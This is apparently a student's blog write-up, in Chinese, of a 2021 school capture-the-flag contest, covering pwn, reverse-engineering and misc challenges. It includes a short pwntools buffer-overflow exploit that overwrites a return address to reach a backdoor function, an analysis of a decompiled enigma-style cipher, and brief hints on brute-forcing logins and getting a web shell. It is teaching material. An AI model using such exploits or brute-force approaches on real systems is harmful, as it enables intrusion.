[MCTF] 2021校赛题解

Posted mid2dog

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了[MCTF] 2021校赛题解相关的知识,希望对你有一定的参考价值。

题解

前言

这次比赛有点感觉了,但在第三道pwn上卡了一个小时没出来…
hhh早知道去做逆向了,师兄送的分都没拿
20这届师弟还是nice的,就是起步晚了点,师弟们加油!
本题解主要提供思路,具体步骤可能不详细,见谅


web

web真好玩

你们的19web狗亲笔.


pwn

checkin

pwn里的签到题

gets函数不限制传入字符
所以可以把v4填满后继续溢出过rbp到返回地址

也就是覆盖r的位置,劫持到后门函数里
偏移量0x20+0x8

exp如下

from pwn import *
#context(os='linux', arch='i386', log_level='debug')
#dog = remote('47.100.53.148',10101)
dog = process("./checkin")
system = 0x004005b6
#binshaddr = 0x4005b6
#dog.recv()
#gdb.attach(dog)
a = 0x4005b6
payload = ('a' * (0x20+8)).encode() +p64(system) #+ 'aaaa'.encode() + p32(binshaddr)
#print(payload)
dog.sendline(payload)

dog.interactive()

通了


hack_note_sh

uaf漏洞
wiki上的原题,之前刚好刷到,质量不错

https://ctf-wiki.org/pwn/linux/glibc-heap/use_after_free/


hash_note_nosh

这题没有后门函数,我想用one_gadget一把梭来着,失败了。
后来发现攻防世界原题…
链接点我
所以这应该不算是pwn,应该算杂项。


misc

没有任何坑的简单题,看到大家都做出来了就不写了
至于社工题,这题我没看,看了眼后提供思路:
一种方法是猜密码
如果我来做应该会生成个社工字典

作为pwn狗用pwntools库爆破(当然web狗用requests库也可以)
总之形成交互就可以一把梭。


Reverse

srand

之前攻防世界上做pwn的时候遇到过srand
srand里面是固定的值的话每次生成的随机数也会是固定的
看了一眼直接把脚本写出来了…
这个是在windows下跑

然后搞半天找不到ubuntu16的环境
我的wsl也是18.04,淦
用libc2.23链接跑出来也不对…
总的来说,我是这个


burst is a good idea


纯百度题,当然也可以用python,基本大家都做出来了


what is this

用到了ida里的patch,校赛的时候还不会,之后是zhouyetao师兄教我的。

用patch改一下程序流程


好的,我虽然会patch了,但还是不知道这题怎么做


Diffcult

这次应该挑战下这三道diffcult题目的,感觉都能做…明年没机会了


re(enigma)

第一步查壳,拖进upx里脱壳

然后就可以拖ida里找程序入口

整理函数调用关系,并将变量重命名,分析如下

int cout_flag()

  int v2; 
  int i;
  int v4; // [rsp+20h] [rbp-20h]
  int v5; // [rsp+28h] [rbp-18h]
  int v6; // [rsp+30h] [rbp-10h]
  v4 = 'mzdfmzgb';
  v5 = 'zdfmzgbc';
  v6 = 'gggmhzf';
  for ( i = 0; i <= 22 && (i + a1) == *(&v4 + i); ++i );
  if ( i == 23 )
    printf("Congratulations,you get the true flag!");
  else
    printf("I am sorry to tell you that you are wrong.");
  return result;

int en1(char a1,int a2)

  for ( i = 0; i <= 26; ++i )
    v6[i] = *(i + a1);
  v5 = en2(v6, a2);
  for ( j = 0; j <= 25; ++j )
    v6[j] = v5[j];
  result = v5;

int en2(char *a1,int a2)

  v3 = a1;
  for ( i = 0; i < a2; ++i )
  
    for ( j = 1; j <= 25; ++j )
      c[j - 1] = v3[j];
  
  return c;

int en3(char a1,int a2)

  v3 = 0;
  for ( i = 0; i <= 26; ++i )
    v6[i] = *(i + a2);
  for ( j = 0; j <= 25; ++j )
  
    if ( v6[j] == a1 )
    
      v3 = j + 1;
      break;
    
  

int encrypt(a1)

  a_z="abcdefghijklmnopqrstuvwxyz"
  a_z2="abcdefghijklmnopqrstuvwxyz"
  x = a1;
  for ( i = 0; i <= 22; ++i )
    a[i] = *(x + i);
  y = en1(a_z, 4);
  for ( j = 0; j <= 25; ++j )
    a_z[j] = *(y + j);
  y = en1(a_z2, 3);
  for ( k = 0; k <= 25; ++k )
    v1 = *(y + k);
    a_z2[k] = v1
  for ( l = 0; l <= 22; ++l )
  
    flag1[l] = a_z2[en3(a[l], a_z,v1)];
    y = en1(a_z, 1u);
    for ( m = 0; m <= 25; ++m )
      a_z[m] = *(y + m);
    y = en1(a_z2, 1u);
    for ( n = 0; n <= 25; ++n )
      a_z2[n] = *(y + n);
  
  return cout_flag(flag1);

int main()

	signed int i; // [rsp+Ch] [rbp-4h]
  input = your_input();
  for ( i = 0; i <= 22; ++i )
    input1[i] = *(input + i);
  return encrypt(input1);

从最后输出flag的函数看起

  • 当i为23的时候就成功输出flag。

  • 所以需要前面的for循环不退出,也就是让 *(i+a1) 和 *(v4+i)的值相等。

  • 我们知道,*是取地址的意思,所以实际上就是比较 a1数组和v4数组。

  • 在内存空间中,v4、v5、v6的地址是连在一起的,如图

  • 所以a1要等于"mzdffmzgbzdfmzgbcgggmhzf"即可
    a1是上一个函数调用该函数时传入的参数,也就是上面的flag1

  • 可以看到,每一位flag1经过en3变换,需要用到a_z2和a_z

  • a_z2和a_z每轮都在用en1变换

  • 而en1中又调用了en2

  • 调用了en3,分析en3

    这里的传参类型有点小问题,a2应该是a_z的地址
    返回值也漏了,返回值应该是v3

  • v1并没有用到,不用去管

  • 那en3的返回值就是a[l]值在a_z中的出现位置

  • en3的返回值又作为a_z2的下标,就是我们的flag1

  • 然后我们就可以逆出a[l]

  • a[l]就是flag,因为根据ida里函数调用关系,a[l]正是我们的输入

  • 大致思路就清楚了。。然后en1变换和en2等就是enigma密码机

  • 之后就可以写脚本,懒得写,可以拿草稿纸推一遍


pwn

看给的hint是ret2dl-runtime-resolve,属于高阶rop里的内容,还没学,之后会再开一篇博客记录学习过程

不鸽的话会补上链接在这里

日站

大致思路就是登录管理员账号,getshell后用菜刀连,flag在数据库里。

具体可以问19web🐶

就到这里吧,安了安了。

以上是关于[MCTF] 2021校赛题解的主要内容,如果未能解决你的问题,请参考以下文章

[MCTF] 2021校赛题解

2021西电校赛网络选拔赛 D.咕的头发问题 (dp)

2018年东北农业大学春季校赛----不完整题解

西电2021校赛选拔赛 C.扶梯问题 (贪心,枚举)

河南工业大学2017校赛题解

2019 浙大校赛解题过程及题解